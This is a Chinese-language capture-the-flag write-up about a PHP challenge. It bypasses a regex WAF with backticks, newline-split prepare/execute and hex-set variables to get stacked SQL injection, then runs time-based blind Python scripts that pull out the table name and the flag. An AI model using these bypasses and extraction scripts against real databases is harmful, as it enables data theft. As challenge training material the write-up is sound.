好久没搞Web了,没想到还能刚的动😁
题目给了源码,就两个文件,代码也很简单,就是想办法绕过waf函数,进行SQL注入。
环境也很容易搭建,docker pull一个ubuntu 14.04,然后直接apt装php,apache和mysql就好了。
考点1 1 2 3 4 $sql ="desc `acg_{$v} `" ;if (!$conn ->query ($sql )){ die ('no such table' ); }
在进行sql查询之前,先用desc检查一下。
通过Google搜到了一篇文章:https://www.jianshu.com/p/fcc9deeddceb
可以用反引号来bypass。正好反引号并没有被waf函数过滤。
考点2 1 2 $con = "mysql:host=localhost;port=3306;dbname=acg" ; $conn = new PDO ($con , 'root' , 'nihao123' );
本题数据库用的是PDO,所以考虑存在堆叠注入的可能性。并且waf
函数中:
1 2 3 4 5 6 7 function waf ($s ) { if (preg_match ("/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*|-|do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i" ,$s )!=false ||strlen ($s )>10000 ) die (); return $s ; }
过滤了prepare.
和.execute
,都可以使用prepare%0a
和%0aexecute
进行绕过。这两个函数为预处理函数。所以猜测本题是使用堆叠注入预处理。
Google了一下预处理的使用方法:https://dev.mysql.com/doc/refman/5.7/en/sql-prepared-statements.html
发现prepare
有两种使用方式:
1 2 3 > PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse' ; > SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse' ; > PREPARE stmt2 FROM @s;
preparable_stmt
可以是字符串或者变量。
因为字符串需要单引号和SELECT这类的字符串,但是都被waf过滤了,也找不到绕过的方法。
所以只能考虑在变量上做文章,因为设置变量可以使用hex。
但是设置变量我只知道一个SET
,也被过滤了。
随后又继续Google,搜到了这篇文章:https://blog.csdn.net/JesseYoung/article/details/40779631
发现可以使用select @a:=1
来设置变量。接着就尝试能不能在where语句后面使用这个语句来设置变量:select * from xxx where @abc:=1
测试成功,到此,整个题的思路就通了。
没找到能回显的方法,所以只能进行盲注了:
获取数据库的数量
1 2 3 4 5 6 7 8 9 10 11 >>> data = {'v' : '' , 'i' : '123' }>>> for x in range (2 , 10 ):... poc = b"select count(*)=%d or sleep(2) from information_schema.SCHEMATA" %x... data["v" ] = payload.format (poc.hex ())... try :... r = requests.post(url, data=data, timeout=2 )... except :... continue ... print ("ok" , x)... break ok 4
只有4个数据库,所以用户数据库只有acg
一个。所以flag应该就在这个数据库里。
获取表的数量
1 2 3 4 5 6 7 8 9 10 >>> for x in range (2 , 10 ):... poc = b"select count(*)=%d or sleep(2) from information_schema.TABLES where TABLE_SCHEMA='acg'" %x... data["v" ] = payload.format (poc.hex ())... try :... r = requests.post(url, data=data, timeout=2 )... except :... continue ... print ("ok" , x)... break ok 3
除了acg_anime
和acg_character
,剩下那一个应该就是flag的表了。
获取flag表名的长度:
1 2 3 4 5 6 7 8 9 10 >>> for x in range (5 , 20 ):... poc = b"select length(TABLE_NAME)=%d or sleep(2) from information_schema.TABLES where TABLE_SCHEMA='acg' limit 2,3" %(x)... data["v" ] = payload.format (poc.hex ())... try :... r = requests.post(url, data=data, timeout=2 )... except :... continue ... print ("ok" , x)... break ok 16
爆破表名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 >>> test = b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@{}" >>> cc = b"" ... for x in range (6 , 17 ):... for y in range (len (test)):... poc = b"select left(TABLE_NAME, %d)='acg_f%s' or sleep(1) from information_schema.TABLES where TABLE_SCHEMA='acg' limi ... t 2,3" %(x, cc + test[y:y+1 ])... print (poc)... data["v" ] = payload.format (poc.hex ())... try :... r = requests.post(url, data=data, timeout=1 )... except :... continue ... cc += test[y:y+1 ]... break ... else :... print (x, "false" )... break ... print (x, test[y:y+1 ])...... b"select left(TABLE_NAME, 16)='acg_fff5lll1ll@g' or sleep(1) from information_schema.TABLES where TABLE_SCHEMA='acg' limit 2,3" 16 b'g'
得到flag的表名为:acg_fff5lll1ll@g
获取flag表的列的数量
1 2 3 4 5 6 7 8 9 10 >>> for x in range (1 , 10 ):... poc = b"select count(*)=%d or sleep(1) from information_schema.COLUMNS where TABLE_NAME='acg_fff5lll1ll@g'" ... data["v" ] = payload.format (poc.hex ())... try :... r = requests.post(url, data=data, timeout=1 )... except :... continue ... print ("ok" , x)... break ok 1
列名我就没爆破了,直接猜flag,验证一下,正确。
获取flag长度
1 2 3 4 5 6 7 8 9 10 >>> for x in range (10 , 40 ):... poc = b"select length(flag)=%d or sleep(1) from `acg_fff5lll1ll@g` limit 1" %x... data["v" ] = payload.format (poc.hex ())... try :... r = requests.post(url, data=data, timeout=1 )... except :... continue ... print ("ok" , x)... break ok 38
爆破flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 >>> cc = b"" ... for x in range (6 , 39 ):... for y in range (len (test)):... poc = b"select left(flag, %d)='flag{%s' or sleep(1) from `acg_fff5lll1ll@g` limit 1" %(x, cc + test[y:y+1 ])... print (poc)... data["v" ] = payload.format (poc.hex ())... try :... r = requests.post(url, data=data, timeout=1 )... except :... continue ... cc += test[y:y+1 ]... break ... else :... print (x, "false" )... break ... print (x, test[y:y+1 ])...... b"select left(flag, 38)='flag{f4bfcf18cca9e26164dbd96a62a4eea8}' or sleep(1) from `acg_fff5lll1ll@g` limit 1" 38 b'}'
得到flag:flag{f4bfcf18cca9e26164dbd96a62a4eea8}